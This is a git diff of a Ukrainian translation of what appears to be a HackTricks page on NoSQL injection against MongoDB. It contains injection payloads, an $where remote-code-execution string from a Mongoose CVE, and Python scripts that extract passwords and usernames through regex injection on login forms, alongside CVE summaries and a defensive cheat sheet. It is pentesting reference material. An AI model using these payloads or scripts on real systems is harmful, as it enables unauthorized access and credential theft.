Translated ['src/pentesting-web/nosql-injection.md'] to uk

This commit is contained in:
Translator 2025-08-14 00:37:46 +00:00
parent ae1874abdd
commit e23306e38d

View File

@ -4,7 +4,7 @@
## Exploit ## Exploit
В PHP ви можете надіслати масив, змінивши надісланий параметр з _parameter=foo_ на _parameter\[arrName]=foo._ В PHP ви можете надіслати масив, змінивши надісланий параметр з _parameter=foo_ на _parameter[arrName]=foo._
Експлойти базуються на додаванні **Оператора**: Експлойти базуються на додаванні **Оператора**:
```bash ```bash
@ -76,9 +76,9 @@ in JSON
... ...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
``` ```
### PHP Arbitrary Function Execution ### PHP Випадкове Виконання Функцій
Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати довільну функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/). Використовуючи оператор **$func** бібліотеки [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (використовується за замовчуванням), можливо виконати випадкову функцію, як у [цьому звіті](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -86,7 +86,7 @@ in JSON
### Отримання інформації з різних колекцій ### Отримання інформації з різних колекцій
Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** та отримуємо **результати всіх записів** з паролем, що відповідає шаблону. Можна використовувати [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з **іншої колекції** під назвою **`users`** і отримуємо **результати всіх записів** з паролем, що відповідає шаблону.
**ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`. **ПРИМІТКА:** `$lookup` та інші функції агрегації доступні лише якщо функція `aggregate()` була використана для виконання пошуку замість більш поширених функцій `find()` або `findOne()`.
```json ```json
@ -114,7 +114,41 @@ in JSON
```json ```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
``` ```
## MongoDB Payloads ## Останні CVE та реальні експлойти (2023-2025)
### Rocket.Chat неавтентифікований сліпий NoSQLi CVE-2023-28359
Версії ≤ 6.0.0 відкривали метод Meteor `listEmojiCustom`, який передавав об'єкт **selector**, контрольований користувачем, безпосередньо до `find()`. Впроваджуючи оператори, такі як `{"$where":"sleep(2000)||true"}`, неавтентифікований атакуючий міг створити таймінговий оракул і ексфільтрувати документи. Помилка була виправлена в 6.0.1 шляхом валідації форми селектора та видалення небезпечних операторів.
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 та CVE-2025-23061
Коли `populate()` використовується з опцією `match`, Mongoose (≤ 8.8.2) копіював об'єкт дослівно *перед* відправкою його до MongoDB. Постачання `$where` таким чином виконувало JavaScript **всередині Node.js**, навіть якщо серверний JS був вимкнений на MongoDB:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
Перший патч (8.8.3) заблокував верхній рівень `$where`, але вкладення його під `$or` обійшло фільтр, що призвело до CVE-2025-23061. Проблема була повністю виправлена в 8.9.5, і була введена нова опція підключення `sanitizeFilter: true`.
### GraphQL → Mongo filter confusion
Resolvers, які безпосередньо передають `args.filter` у `collection.find()`, залишаються вразливими:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Зменшення: рекурсивно видаляти ключі, які починаються з `$`, явно вказувати дозволені оператори або перевіряти за допомогою бібліотек схеми (Joi, Zod).
## Захисний шпаргалка (оновлено 2025)
1. Видаляти або відхиляти будь-який ключ, який починається з `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Вимкнути серверний JavaScript на самостійно розгорнутому MongoDB (`--noscripting`, за замовчуванням у v7.0+).
3. Віддавати перевагу `$expr` та агрегатним конструкторам замість `$where`.
4. Ранньо перевіряти типи даних (Joi/Ajv) і не дозволяти масиви там, де очікуються скалярні значення, щоб уникнути трюків `[$ne]`.
5. Для GraphQL перекладати аргументи фільтра через список дозволених; ніколи не розповсюджувати ненадійні об'єкти.
## MongoDB Пейлоади
Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) Список [звідси](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
``` ```
@ -182,7 +216,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c)) print("Found one more char : %s" % (password+c))
password += c password += c
``` ```
### Brute-force login usernames and passwords from POST login ### Брутфорс логінів та паролів з POST логіна
Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання. Це простий скрипт, який ви можете модифікувати, але попередні інструменти також можуть виконати це завдання.
```python ```python
@ -193,6 +227,7 @@ url = "http://example.com"
headers = {"Host": "exmaple.com"} headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username): def get_password(username):
print("Extracting password of "+username) print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"} params = {"username":username, "password[$regex]":"", "login": "login"}
@ -225,9 +260,10 @@ for u in get_usernames(""):
get_password(u) get_password(u)
``` ```
## Інструменти ## Інструменти
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## Посилання ## Посилання
@ -236,5 +272,7 @@ get_password(u)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}